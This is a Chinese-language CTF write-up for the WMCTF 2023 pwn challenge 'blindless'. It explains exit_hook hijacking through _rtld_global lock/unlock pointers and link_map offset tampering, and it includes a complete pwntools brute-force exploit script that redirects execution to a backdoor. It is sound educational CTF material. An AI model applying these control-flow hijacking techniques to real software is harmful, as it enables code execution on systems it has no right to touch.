wmctf的题解&&blindless&&exit_hook

发布时间 2023-08-25 23:28:38作者: .N1nEmAn

0x00 好久不见

2023.8.23 夜里

wm 2023也是一个收获很大的比赛。只做了一个blindless,但是体会到了无泄露做出题来的奥妙。踩过的坑(学到的东西)包括但不限于

调试要用docker,不然没符号表很痛苦 有想法一定要及时记下来,很有可能是解题重点
exit_hook的n种姿势(下面记录一下) test edx,edx je是判断是否为0跳转……

总而言之,越痛苦学到的东西越多。一定做题要保持清醒,好好休息。(这次真是把exit看烂掉了哈哈哈哈哈哈)

0x01 思维

分析要有:动态调试分析,静态分析,运行分析还有源码分析。全都有才是最好的。

0x02 exit_hook的n种姿势

image

基地址丢这里你们参考一下。

首先是p &_rtld_global(看地址),他有一个unlock和lock的参数可以改来调用。

注意一定要用docker或者虚拟机,否则没有符号表会特别坐牢!

exit_hook2libc

执行p _rtld_global。看到那两个lock和unlock吗,就是他们两个,可以当exithook进行调用,可以改他们的内容。把后面的东西复制过来p &xxx就可以查看地址了。
image

注意看,这个程序叫小帅,他调用的第一个参数就是rdi来着,是_rtld_global+2312,我们可以控制他的参数为/bin/sh\x00然后做坏坏的事情(如果能把lock也改成system的话)。

image

然后unlock的参数也是2312这个偏移。
image

好的,我们就修改这两个地方就可以为所欲为了,但是exithook到这里还没完。
还有更骚的,可以控制到程序上的地址(直接跳转,或者间接取地址跳转。)

exit_hook2elf

1.间接call

这个在这里,第一个是间接call,可以修改他的偏移到任意函数got表,然后配合参数rdi偏移2312使用。这个的基地址和偏移是存在于link_map的。
image

这样可以找到他的地址。调试可以看到他会从这里取基地址。

image

然后加上偏移。我们可以改基地址也可以选择改偏移。link_map地址+0x110是存第一个间接call的偏移的。注意存的是偏移-8的地址,也就是如果要改的话要改成目标-8)
image

link_map地址+0xa8是存第二个直接call的偏移(注意存的是偏移-8的地址,也就是如果要改的话要改成目标-8)。
image

2.直接call

嗯,不过如果改偏移的话能改最好,还能直接形成调用链子。但是如果没有偏移,就只能改基地址了——也就是p &l出来那儿。但是这样肯定会损坏第一次call r14的,会导致无法正常进行。结果发现有一个地方判断可以跳过call r14
image

就是这里,test edx,edx是edx和edx相互and,留下标志位。简单来说就是如果是0,那么不跳转。如果是1,那么跳转。

在x86汇编中,je 指令的作用是:

  1. 检查零标志位(ZF)是否被设置为 1。
  2. 如果零标志位被设置为 1,将进行跳转到指定的目标位置。

回溯发现是从link_map+0x120取来的地址,也就是说想要这里为0,就把那里的地址指向为0的地方即可!
image

完成这个操作,就可以修改基地址达到任意直接call的效果了!如果没有泄露,则直接返回到程序上(比如此题有后门)。如果有,那就是为所欲为!(和前面一样,如果有泄露真的就是为所欲为了)。

0x03 exp

from pwn import *


n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
rl  = lambda     :p.recvline()
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))

while True:

        context(os='linux', arch='amd64', log_level='debug')
        p = process('./main')
        context.terminal = ['tmux','new-window' ,'-n','-c']
        #gdb.attach(p)
        sla('ze',b'-10')#分配到libc上(用mmap)
        sla('ze',b'256')

        pay = b'@'+p32(2148618432)#到ld的地址+0x2f190的偏移
        pay += b'@'+p32(2148618432)
        pay +=b'.' + b'\xb1'
        pay += b'>.' + b'\x7c'#使得加了偏移之后是后门函数地址
        pay += b'@'+p32(0x11f)#修改0x120的地址,指向0,跳过call r14
        pay +=b'.' + b'\x00'
        pay += b'q'
        sla('code\n',pay)

        re = p.recvrepeat(0.1)#一直接收直到有回显
        #如果是system的话可以发一个cat flag再这样
        #这是个很好的爆破方式,学习学习
        if re:
            print('pwned!get your flag here:',re)
            exit(0)
        p.close()

image

0x04 尾声

感谢星盟安全团队的wp:https://mp.weixin.qq.com/s/J8ZbppDee4yw2QJs85qdYQ